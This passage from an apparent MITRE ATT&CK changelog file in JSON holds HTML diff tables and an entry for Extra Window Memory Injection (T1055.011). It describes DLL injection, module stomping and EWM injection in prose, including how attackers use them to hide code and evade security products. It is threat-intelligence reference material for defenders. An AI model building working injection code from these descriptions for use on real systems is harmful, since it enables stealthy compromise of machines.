class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">les&nbsp;in&nbsp;memory&nbsp;by&nbsp;manually&nbsp;p<span class=\"diff_chg\">reforming&nbsp;the&nbsp;function&nbsp;of</span>&nbsp;&lt;code&gt;L</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iles&nbsp;in&nbsp;memory&nbsp;by&nbsp;manually&nbsp;p<span class=\"diff_chg\">erforming&nbsp;the&nbsp;function&nbsp;of</span>&nbsp;&lt;code&gt;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oadLibrary&lt;/code&gt;).(Citation:&nbsp;Elastic&nbsp;HuntingNMemory&nbsp;June&nbsp;20</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">LoadLibrary&lt;/code&gt;).(Citation:&nbsp;Elastic&nbsp;HuntingNMemory&nbsp;June&nbsp;2</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">17)(Citation:&nbsp;Elastic&nbsp;Process&nbsp;Injection&nbsp;July&nbsp;2017)&nbsp;&nbsp;&nbsp;Another</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">017)(Citation:&nbsp;Elastic&nbsp;Process&nbsp;Injection&nbsp;July&nbsp;2017)&nbsp;&nbsp;&nbsp;Anothe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;variation&nbsp;of&nbsp;this&nbsp;method,&nbsp;often&nbsp;referred&nbsp;to&nbsp;as&nbsp;Module&nbsp;Stomp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;variation&nbsp;of&nbsp;this&nbsp;method,&nbsp;often&nbsp;referred&nbsp;to&nbsp;as&nbsp;Module&nbsp;Stom</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing/Overloading&nbsp;or&nbsp;DLL&nbsp;Hollowing,&nbsp;may&nbsp;be&nbsp;leveraged&nbsp;to&nbsp;concea</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ping/Overloading&nbsp;or&nbsp;DLL&nbsp;Hollowing,&nbsp;may&nbsp;be&nbsp;leveraged&nbsp;to&nbsp;conce</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;injected&nbsp;code&nbsp;within&nbsp;a&nbsp;process.&nbsp;This&nbsp;method&nbsp;involves&nbsp;loadi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">al&nbsp;injected&nbsp;code&nbsp;within&nbsp;a&nbsp;process.&nbsp;This&nbsp;method&nbsp;involves&nbsp;load</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;a&nbsp;legitimate&nbsp;DLL&nbsp;into&nbsp;a&nbsp;remote&nbsp;process&nbsp;then&nbsp;manually&nbsp;over</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;a&nbsp;legitimate&nbsp;DLL&nbsp;into&nbsp;a&nbsp;remote&nbsp;process&nbsp;then&nbsp;manually&nbsp;ove</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">writing&nbsp;the&nbsp;module's&nbsp;&lt;code&gt;AddressOfEntryPoint&lt;/code&gt;&nbsp;before</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rwriting&nbsp;the&nbsp;module's&nbsp;&lt;code&gt;AddressOfEntryPoint&lt;/code&gt;&nbsp;befor</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;starting&nbsp;a&nbsp;new&nbsp;thread&nbsp;in&nbsp;the&nbsp;target&nbsp;process.(Citation:&nbsp;Modu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;starting&nbsp;a&nbsp;new&nbsp;thread&nbsp;in&nbsp;the&nbsp;target&nbsp;process.(Citation:&nbsp;Mod</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">le&nbsp;Stomping&nbsp;for&nbsp;Shellcode&nbsp;Injection)&nbsp;This&nbsp;variation&nbsp;allows&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ule&nbsp;Stomping&nbsp;for&nbsp;Shellcode&nbsp;Injection)&nbsp;This&nbsp;variation&nbsp;allows&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ttackers&nbsp;to&nbsp;hide&nbsp;malicious&nbsp;injected&nbsp;code&nbsp;by&nbsp;potentially&nbsp;back</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">attackers&nbsp;to&nbsp;hide&nbsp;malicious&nbsp;injected&nbsp;code&nbsp;by&nbsp;potentially&nbsp;bac</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;its&nbsp;execution&nbsp;with&nbsp;a&nbsp;legitimate&nbsp;DLL&nbsp;file&nbsp;on&nbsp;disk.(Citati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">king&nbsp;its&nbsp;execution&nbsp;with&nbsp;a&nbsp;legitimate&nbsp;DLL&nbsp;file&nbsp;on&nbsp;disk.(Citat</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on:&nbsp;Hiding&nbsp;Malicious&nbsp;Code&nbsp;with&nbsp;Module&nbsp;Stomping)&nbsp;&nbsp;&nbsp;Running&nbsp;co</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion:&nbsp;Hiding&nbsp;Malicious&nbsp;Code&nbsp;with&nbsp;Module&nbsp;Stomping)&nbsp;&nbsp;&nbsp;Running&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&nbsp;in&nbsp;the&nbsp;context&nbsp;of&nbsp;another&nbsp;process&nbsp;may&nbsp;allow&nbsp;access&nbsp;to&nbsp;the</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ode&nbsp;in&nbsp;the&nbsp;context&nbsp;of&nbsp;another&nbsp;process&nbsp;may&nbsp;allow&nbsp;access&nbsp;to&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;process's&nbsp;memory,&nbsp;system/network&nbsp;resources,&nbsp;and&nbsp;possibly&nbsp;el</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;process's&nbsp;memory,&nbsp;system/network&nbsp;resources,&nbsp;and&nbsp;possibly&nbsp;e</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">evated&nbsp;privileges.&nbsp;Execution&nbsp;via&nbsp;DLL&nbsp;injection&nbsp;may&nbsp;also&nbsp;evad</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">levated&nbsp;privileges.&nbsp;Execution&nbsp;via&nbsp;DLL&nbsp;injection&nbsp;may&nbsp;also&nbsp;eva</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;detection&nbsp;from&nbsp;security&nbsp;products&nbsp;since&nbsp;the&nbsp;execution&nbsp;is&nbsp;ma</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&nbsp;detection&nbsp;from&nbsp;security&nbsp;products&nbsp;since&nbsp;the&nbsp;execution&nbsp;is&nbsp;m</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sked&nbsp;under&nbsp;a&nbsp;legitimate&nbsp;process.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">asked&nbsp;under&nbsp;a&nbsp;legitimate&nbsp;process.&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1040: Behavior Prevention on Endpoint"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0389: Behavioral Detection of DLL Injection via Windows API"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-14 17:18:32.126000+00:00",
                    "modified": "2026-11-04 03:09:58.175000+00:00",
                    "name": "Extra Window Memory Injection",
                    "description": "Adversaries may inject malicious code into a process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must register a windows class, which stipulates appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value.(Citation: Microsoft GetWindowLong function)(Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as <code>WriteProcessMemory</code> and <code>CreateRemoteThread</code>.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process.(Citation: MalwareTech Power Loader Aug 2013)(Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1055/011",
                            "external_id": "T1055.011"
                        },
                        {
                            "source_name": "Elastic Process Injection July 2017",
                            "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                            "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                        },
                        {
                            "source_name": "MalwareTech Power Loader Aug 2013",
                            "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.",
                            "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html"
                        },
                        {
                            "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013",
                            "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.",
                            "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/"
                        },
                        {
                            "source_name": "Microsoft Window Classes",
                            "description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.",
                            "url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx"
                        },
                        {
                            "source_name": "Microsoft GetWindowLong function",
                            "description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.",
                            "url": "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx"
                        },
                        {
                            "source_name": "Microsoft SetWindowLong function",
                            "description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.",
                            "url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:09:58.175000+00:00\", \"old_value\": \"2026-05-12 15:12:00.617000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may inject malicious code into a process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \\n\\nBefore creating a window, graphical Windows-based processes must register a windows class, which stipulates appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value.(Citation: Microsoft GetWindowLong function)(Citation: Microsoft SetWindowLong function)\\n\\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\\u2019s EWM.\\n\\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as <code>WriteProcessMemory</code> and <code>CreateRemoteThread</code>.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process.(Citation: MalwareTech Power Loader Aug 2013)(Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\\n\\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. \", \"old_value\": \"Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \\n\\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\\n\\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\\u2019s EWM.\\n\\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as <code>WriteProcessMemory</code> and <code>CreateRemoteThread</code>.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process.  (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\\n\\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. \", \"diff\": \"--- \\n+++ \\n@@ -1,9 +1,9 @@\\n-Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \\n+Adversaries may inject malicious code into a process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \\n \\n-Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\\n+Before creating a window, graphical Windows-based processes must register a windows class, which stipulates appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value.(Citation: Microsoft GetWindowLong function)(Citation: Microsoft SetWindowLong function)\\n \\n Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\\u2019s EWM.\\n \\n-Execution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as <code>WriteProcessMemory</code> and <code>CreateRemoteThread</code>.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process.  (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\\n+Execution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as <code>WriteProcessMemory</code> and <code>CreateRemoteThread</code>.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process.(Citation: MalwareTech Power Loader Aug 2013)(Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\\n \\n Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. \"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to14__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to14__0\"><a href=\"#difflib_chg_to14__top\">t</a></td><td class=\"diff_header\" id=\"from14_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;inject&nbsp;malicious&nbsp;code&nbsp;into&nbsp;<span class=\"diff_chg\">process</span>&nbsp;via&nbsp;Extra</td><td class=\"diff_next\"><a href=\"#difflib_chg_to14__top\">t</a></td><td class=\"diff_header\" id=\"to14_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;inject&nbsp;malicious&nbsp;code&nbsp;into&nbsp;<span class=\"diff_chg\">a&nbsp;process</span>&nbsp;via&nbsp;Ext</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Window&nbsp;Memory&nbsp;(EWM)&nbsp;in&nbsp;order&nbsp;to&nbsp;evade&nbsp;process-based&nbsp;defense</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ra&nbsp;Window&nbsp;Memory&nbsp;(EWM)&nbsp;in&nbsp;order&nbsp;to&nbsp;evade&nbsp;process-based&nbsp;defen</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;as&nbsp;well&nbsp;as&nbsp;possibly&nbsp;elevate&nbsp;privileges.&nbsp;EWM&nbsp;injection&nbsp;is&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ses&nbsp;as&nbsp;well&nbsp;as&nbsp;possibly&nbsp;elevate&nbsp;privileges.&nbsp;EWM&nbsp;injection&nbsp;is</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;method&nbsp;of&nbsp;executing&nbsp;arbitrary&nbsp;code&nbsp;in&nbsp;the&nbsp;address&nbsp;space&nbsp;of&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;a&nbsp;method&nbsp;of&nbsp;executing&nbsp;arbitrary&nbsp;code&nbsp;in&nbsp;the&nbsp;address&nbsp;space&nbsp;o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;separate&nbsp;live&nbsp;process.&nbsp;&nbsp;&nbsp;Before&nbsp;creating&nbsp;a&nbsp;window,&nbsp;graphic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">f&nbsp;a&nbsp;separate&nbsp;live&nbsp;process.&nbsp;&nbsp;&nbsp;Before&nbsp;creating&nbsp;a&nbsp;window,&nbsp;graph</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">al&nbsp;Windows-based&nbsp;processes&nbsp;must&nbsp;<span class=\"diff_chg\">prescri</span>be<span class=\"diff_sub\">&nbsp;to&nbsp;or&nbsp;register&nbsp;a&nbsp;w</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ical&nbsp;Windows-based&nbsp;processes&nbsp;must&nbsp;<span class=\"diff_chg\">register&nbsp;a&nbsp;windows&nbsp;class,&nbsp;</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">indows&nbsp;class,&nbsp;which&nbsp;stipulate&nbsp;appearance&nbsp;and&nbsp;be</span>havior&nbsp;(via&nbsp;w</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">which&nbsp;stipulates&nbsp;appearance&nbsp;and&nbsp;</span>behavior&nbsp;(via&nbsp;windows&nbsp;proced</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">indows&nbsp;procedures,&nbsp;which&nbsp;are&nbsp;functions&nbsp;that&nbsp;handle&nbsp;input/out</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ures,&nbsp;which&nbsp;are&nbsp;functions&nbsp;that&nbsp;handle&nbsp;input/output&nbsp;of&nbsp;data).</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">put&nbsp;of&nbsp;data).(Citation:&nbsp;Microsoft&nbsp;Window&nbsp;Classes)&nbsp;Registrati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(Citation:&nbsp;Microsoft&nbsp;Window&nbsp;Classes)&nbsp;Registration&nbsp;of&nbsp;new&nbsp;win</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;of&nbsp;new&nbsp;windows&nbsp;classes&nbsp;can&nbsp;include&nbsp;a&nbsp;request&nbsp;for&nbsp;up&nbsp;to&nbsp;40</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dows&nbsp;classes&nbsp;can&nbsp;include&nbsp;a&nbsp;request&nbsp;for&nbsp;up&nbsp;to&nbsp;40&nbsp;bytes&nbsp;of&nbsp;EWM</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;bytes&nbsp;of&nbsp;EWM&nbsp;to&nbsp;be&nbsp;appended&nbsp;to&nbsp;the&nbsp;allocated&nbsp;memory&nbsp;of&nbsp;each</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;be&nbsp;appended&nbsp;to&nbsp;the&nbsp;allocated&nbsp;memory&nbsp;of&nbsp;each&nbsp;instance&nbsp;of&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;instance&nbsp;of&nbsp;that&nbsp;class.&nbsp;This&nbsp;EWM&nbsp;is&nbsp;intended&nbsp;to&nbsp;store&nbsp;data&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">that&nbsp;class.&nbsp;This&nbsp;EWM&nbsp;is&nbsp;intended&nbsp;to&nbsp;store&nbsp;data&nbsp;specific&nbsp;to&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">specific&nbsp;to&nbsp;that&nbsp;window&nbsp;and&nbsp;has&nbsp;specific&nbsp;application&nbsp;program</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hat&nbsp;window&nbsp;and&nbsp;has&nbsp;specific&nbsp;application&nbsp;programming&nbsp;interfac</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ming&nbsp;interface&nbsp;(API)&nbsp;functions&nbsp;to&nbsp;set&nbsp;and&nbsp;get&nbsp;its&nbsp;value.<span class=\"diff_sub\">&nbsp;</span>(Ci</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;(API)&nbsp;functions&nbsp;to&nbsp;set&nbsp;and&nbsp;get&nbsp;its&nbsp;value.(Citation:&nbsp;Micros</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tation:&nbsp;Microsoft&nbsp;GetWindowLong&nbsp;function)<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Microso</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oft&nbsp;GetWindowLong&nbsp;function)(Citation:&nbsp;Microsoft&nbsp;SetWindowLon</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ft&nbsp;SetWindowLong&nbsp;function)&nbsp;&nbsp;Although&nbsp;small,&nbsp;the&nbsp;EWM&nbsp;is&nbsp;large</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;function)&nbsp;&nbsp;Although&nbsp;small,&nbsp;the&nbsp;EWM&nbsp;is&nbsp;large&nbsp;enough&nbsp;to&nbsp;stor</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;enough&nbsp;to&nbsp;store&nbsp;a&nbsp;32-bit&nbsp;pointer&nbsp;and&nbsp;is&nbsp;often&nbsp;used&nbsp;to&nbsp;point</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;a&nbsp;32-bit&nbsp;pointer&nbsp;and&nbsp;is&nbsp;often&nbsp;used&nbsp;to&nbsp;point&nbsp;to&nbsp;a&nbsp;windows&nbsp;p</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;a&nbsp;windows&nbsp;procedure.&nbsp;Malware&nbsp;may&nbsp;possibly&nbsp;utilize&nbsp;this&nbsp;m</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rocedure.&nbsp;Malware&nbsp;may&nbsp;possibly&nbsp;utilize&nbsp;this&nbsp;memory&nbsp;location&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">emory&nbsp;location&nbsp;in&nbsp;part&nbsp;of&nbsp;an&nbsp;attack&nbsp;chain&nbsp;that&nbsp;includes&nbsp;writ</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">in&nbsp;part&nbsp;of&nbsp;an&nbsp;attack&nbsp;chain&nbsp;that&nbsp;includes&nbsp;writing&nbsp;code&nbsp;to&nbsp;sha</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;code&nbsp;to&nbsp;shared&nbsp;sections&nbsp;of&nbsp;the&nbsp;process\u2019s&nbsp;memory,&nbsp;placing</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 